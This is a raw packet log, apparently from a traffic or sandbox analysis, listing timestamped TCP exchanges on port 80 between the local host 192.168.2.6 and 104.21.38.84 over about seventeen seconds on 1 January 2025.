Jan 1, 2025 16:04:54.095168114 CET	62866	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.100236893 CET	80	62866	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:54.206163883 CET	80	62866	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:54.282587051 CET	62866	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.479701042 CET	80	62866	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:54.609582901 CET	62866	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.610356092 CET	62867	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.614695072 CET	80	62866	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:54.614742041 CET	62866	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.615168095 CET	80	62867	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:54.615228891 CET	62867	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.615324020 CET	62867	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.620060921 CET	80	62867	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:54.658200979 CET	62867	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.658885956 CET	62868	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.663779020 CET	80	62868	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:54.663831949 CET	62868	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.663918018 CET	62868	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.668742895 CET	80	62868	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:54.706883907 CET	80	62867	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:54.784612894 CET	62869	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.789554119 CET	80	62869	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:54.789623022 CET	62869	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.789751053 CET	62869	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:54.794544935 CET	80	62869	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:54.972539902 CET	80	62867	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:54.972646952 CET	62867	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.017493963 CET	62868	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.022365093 CET	80	62868	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:55.022519112 CET	80	62868	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:55.117897987 CET	80	62868	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:55.142111063 CET	62869	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.147022009 CET	80	62869	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:55.233599901 CET	80	62869	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:55.267019033 CET	62868	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.282573938 CET	62869	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.386374950 CET	80	62868	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:55.470134020 CET	62868	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.509392977 CET	80	62869	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:55.621108055 CET	62868	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.621436119 CET	62869	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.622095108 CET	62870	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.626132011 CET	80	62868	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:55.626390934 CET	80	62869	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:55.626455069 CET	62868	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.626657009 CET	62869	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.626883984 CET	80	62870	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:55.626993895 CET	62870	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.627252102 CET	62870	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.632090092 CET	80	62870	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:55.985887051 CET	62870	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:55.990830898 CET	80	62870	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:56.085230112 CET	80	62870	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:56.157574892 CET	62870	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:56.337025881 CET	80	62870	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:56.386504889 CET	62870	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:56.481256962 CET	62871	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:56.486120939 CET	80	62871	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:56.486182928 CET	62871	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:56.486309052 CET	62871	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:56.491053104 CET	80	62871	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:56.845223904 CET	62871	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:56.850466967 CET	80	62871	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:56.930566072 CET	80	62871	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:56.985697031 CET	62871	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:57.199443102 CET	80	62871	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:57.251321077 CET	62871	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:57.326010942 CET	62871	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:57.326617956 CET	62872	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:57.331072092 CET	80	62871	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:57.331161022 CET	62871	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:57.331434011 CET	80	62872	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:57.331504107 CET	62872	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:57.331604958 CET	62872	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:57.336379051 CET	80	62872	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:57.689063072 CET	62872	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:57.694013119 CET	80	62872	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:57.775907040 CET	80	62872	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:57.832659960 CET	62872	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:57.962846994 CET	80	62872	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:58.017052889 CET	62872	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.076613903 CET	62872	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.080842018 CET	62874	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.081686974 CET	80	62872	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:58.081845999 CET	62872	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.085664988 CET	80	62874	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:58.085782051 CET	62874	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.085937023 CET	62874	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.090755939 CET	80	62874	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:58.439083099 CET	62874	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.443907022 CET	80	62874	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:58.529319048 CET	80	62874	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:58.579436064 CET	62874	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.797095060 CET	80	62874	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:58.845058918 CET	62874	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.921634912 CET	62874	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.922214985 CET	62875	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.926654100 CET	80	62874	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:58.926698923 CET	62874	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.927098036 CET	80	62875	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:58.927167892 CET	62875	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.927259922 CET	62875	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:58.932079077 CET	80	62875	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:59.282701015 CET	62875	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:59.287719011 CET	80	62875	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:59.371527910 CET	80	62875	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:59.472661972 CET	62875	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:59.539741993 CET	80	62875	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:59.649712086 CET	62870	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:59.655658007 CET	62876	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:59.655689001 CET	62875	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:59.661231995 CET	80	62876	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:59.661362886 CET	62876	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:59.661369085 CET	80	62875	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:59.661465883 CET	62875	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:59.661602020 CET	62876	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:59.666980028 CET	80	62876	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:00.022629976 CET	62876	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:00.028461933 CET	80	62876	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:00.162693024 CET	80	62876	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:00.360723972 CET	62876	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:00.401999950 CET	62877	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:00.402658939 CET	62876	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:00.406896114 CET	80	62877	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:00.407031059 CET	62877	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:00.407411098 CET	62877	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:00.407576084 CET	80	62876	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:00.407625914 CET	62876	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:00.412179947 CET	80	62877	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:00.532305956 CET	62878	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:00.537544966 CET	80	62878	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:00.537607908 CET	62878	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:00.537748098 CET	62878	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:00.542476892 CET	80	62878	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:00.751718998 CET	62877	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:00.756705046 CET	80	62877	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:00.756720066 CET	80	62877	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:00.851932049 CET	80	62877	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:00.891953945 CET	62877	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:00.892287016 CET	62878	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:00.897079945 CET	80	62878	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:00.994281054 CET	80	62878	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:01.124025106 CET	80	62877	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:01.171957016 CET	62878	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:01.173193932 CET	62877	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:01.180232048 CET	80	62878	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:01.210680008 CET	80	62877	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:01.251333952 CET	62877	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:01.295567989 CET	62877	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:01.295711040 CET	62878	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:01.296370029 CET	62879	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:01.300601959 CET	80	62877	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:01.300658941 CET	62877	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:01.300879002 CET	80	62878	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:01.300920963 CET	62878	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:01.301201105 CET	80	62879	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:01.301266909 CET	62879	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:01.301384926 CET	62879	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:01.306122065 CET	80	62879	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:01.657741070 CET	62879	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:01.662749052 CET	80	62879	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:01.751426935 CET	80	62879	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:01.798223972 CET	62879	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:01.928286076 CET	80	62879	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:01.974638939 CET	62879	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:02.044979095 CET	62880	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:02.049933910 CET	80	62880	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:02.050028086 CET	62880	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:02.050138950 CET	62880	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:02.054953098 CET	80	62880	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:02.410936117 CET	62880	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:02.416110039 CET	80	62880	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:02.492063999 CET	80	62880	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:02.614471912 CET	62880	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:02.679586887 CET	80	62880	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:02.742288113 CET	62880	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:03.152307987 CET	62880	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:03.152879953 CET	62881	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:03.157447100 CET	80	62880	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:03.157495975 CET	62880	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:03.157710075 CET	80	62881	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:03.157841921 CET	62881	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:03.158639908 CET	62881	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:03.163460970 CET	80	62881	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:03.517071009 CET	62881	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:03.521918058 CET	80	62881	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:03.621361017 CET	80	62881	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:03.673204899 CET	62881	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:03.890813112 CET	80	62881	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:03.938837051 CET	62881	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:04.013063908 CET	62881	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:04.013830900 CET	62882	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:04.018749952 CET	80	62882	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:04.018767118 CET	80	62881	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:04.018826962 CET	62881	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:04.018851042 CET	62882	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:04.018954039 CET	62882	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:04.023735046 CET	80	62882	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:04.376919985 CET	62882	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:04.381807089 CET	80	62882	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:04.460128069 CET	80	62882	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:04.523567915 CET	62882	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:04.634454012 CET	80	62882	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:04.749303102 CET	62882	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:04.750189066 CET	62883	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:04.754364014 CET	80	62882	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:04.754415035 CET	62882	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:04.755034924 CET	80	62883	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:04.755103111 CET	62883	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:04.755259037 CET	62883	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:04.759999037 CET	80	62883	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:05.110872984 CET	62883	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:05.115799904 CET	80	62883	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:05.226087093 CET	80	62883	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:05.267220020 CET	62883	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:05.403373003 CET	80	62883	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:05.454651117 CET	62883	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:05.535278082 CET	62879	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:05.543515921 CET	62883	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:05.544471979 CET	62884	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:05.548553944 CET	80	62883	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:05.548621893 CET	62883	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:05.549287081 CET	80	62884	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:05.549402952 CET	62884	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:05.549643993 CET	62884	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:05.554500103 CET	80	62884	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:05.907699108 CET	62884	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:05.912715912 CET	80	62884	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:05.991746902 CET	80	62884	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:06.034658909 CET	62884	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:06.225383043 CET	62884	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:06.226167917 CET	62885	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:06.230464935 CET	80	62884	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:06.230576992 CET	62884	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:06.231218100 CET	80	62885	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:06.234720945 CET	62885	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:06.234827995 CET	62885	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:06.239852905 CET	80	62885	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:06.342648029 CET	62886	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:06.347645998 CET	80	62886	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:06.347724915 CET	62886	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:06.347851038 CET	62886	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:06.352685928 CET	80	62886	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:06.579879045 CET	62885	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:06.584906101 CET	80	62885	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:06.584927082 CET	80	62885	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:06.697710991 CET	80	62885	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:06.704610109 CET	62886	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:06.709484100 CET	80	62886	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:06.778599977 CET	62885	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:06.792331934 CET	80	62886	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:06.845103025 CET	62886	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:06.973418951 CET	80	62885	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:07.058881998 CET	80	62886	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:07.063860893 CET	80	62885	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:07.063874006 CET	62885	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:07.110778093 CET	62886	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:07.173253059 CET	62885	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:07.187211037 CET	62885	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:07.187371016 CET	62886	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:07.188021898 CET	62887	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:07.192327976 CET	80	62885	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:07.192384958 CET	62885	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:07.192619085 CET	80	62886	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:07.192689896 CET	62886	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:07.192776918 CET	80	62887	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:07.192837954 CET	62887	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:07.192972898 CET	62887	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:07.197774887 CET	80	62887	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:07.550654888 CET	62887	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:07.555622101 CET	80	62887	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:07.638101101 CET	80	62887	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:07.766993999 CET	62887	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:07.909302950 CET	80	62887	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:07.970134020 CET	62887	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.030703068 CET	62888	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.035691977 CET	80	62888	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:08.035780907 CET	62888	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.038667917 CET	62888	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.043526888 CET	80	62888	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:08.392116070 CET	62888	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.397484064 CET	80	62888	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:08.482868910 CET	80	62888	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:08.576983929 CET	62888	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.659555912 CET	80	62888	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:08.737101078 CET	62888	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.778155088 CET	62846	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.778268099 CET	62887	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.785069942 CET	62888	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.785775900 CET	62889	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.790085077 CET	80	62888	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:08.790141106 CET	62888	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.790627003 CET	80	62889	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:08.790712118 CET	62889	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.790805101 CET	62889	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:08.795615911 CET	80	62889	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:09.142126083 CET	62889	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:09.147062063 CET	80	62889	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:09.263686895 CET	80	62889	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:09.313865900 CET	62889	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:09.519483089 CET	80	62889	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:09.563868046 CET	62889	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:09.640264988 CET	62890	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:09.640264988 CET	62889	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:09.645338058 CET	80	62890	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:09.645514965 CET	80	62889	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:09.645529032 CET	62890	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:09.645590067 CET	62889	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:09.646456957 CET	62890	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:09.651263952 CET	80	62890	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:10.001703024 CET	62890	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:10.006973982 CET	80	62890	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:10.111054897 CET	80	62890	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:10.173252106 CET	62890	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:10.301583052 CET	80	62890	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:10.360745907 CET	62890	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:10.431282043 CET	62890	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:10.432461977 CET	62891	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:10.436337948 CET	80	62890	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:10.436383009 CET	62890	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:10.437413931 CET	80	62891	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:10.437509060 CET	62891	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:10.437681913 CET	62891	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:10.442454100 CET	80	62891	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:10.782819986 CET	62891	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:10.787761927 CET	80	62891	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:10.881515980 CET	80	62891	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:10.923239946 CET	62891	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:11.139448881 CET	80	62891	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:11.188879967 CET	62891	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:11.265065908 CET	62891	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:11.265837908 CET	62892	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:11.270107031 CET	80	62891	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:11.270180941 CET	62891	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:11.270739079 CET	80	62892	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:11.270807028 CET	62892	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:11.270912886 CET	62892	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:11.275666952 CET	80	62892	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:11.626440048 CET	62892	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:11.631498098 CET	80	62892	104.21.38.84	192.168.2.6
